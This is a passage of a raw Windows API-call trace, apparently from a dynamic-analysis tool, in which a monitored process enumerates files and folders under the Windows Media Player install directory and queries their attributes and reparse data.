FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0089.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1d68 [0089.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313d20 [0089.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.647] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0089.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1d88 [0089.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314038 [0089.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.649] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0089.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1da8 [0089.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313f30 [0089.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.651] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0089.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1dc8 [0089.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314140 [0089.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8e80) returned 0x12f2380 [0089.652] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0089.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1de8 [0089.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314350 [0089.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.654] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0089.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1e08 [0089.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314878 [0089.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.656] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0089.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1e28 [0089.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314980 [0089.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.657] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0 [0089.658] GetLastError () returned 0x12 [0089.658] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.658] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0089.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0 [0089.658] GetLastError () returned 0x12 [0089.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.658] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.659] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0089.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons" (normalized: "c:\\program files (x86)\\windows media player\\icons"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons" (normalized: "c:\\program files (x86)\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.660] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.660] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.661] NtClose (Handle=0x164) returned 0x0 [0089.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.662] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.662] GetLastError () returned 0x12 [0089.662] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.662] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.662] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.662] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.662] GetLastError () returned 0x12 [0089.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.662] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.663] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="")) returned 1 [0089.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files (x86)\\windows media player\\media renderer"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.663] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files (x86)\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.664] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.664] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.664] NtClose (Handle=0x180) returned 0x0 [0089.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.665] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.680] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.680] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, 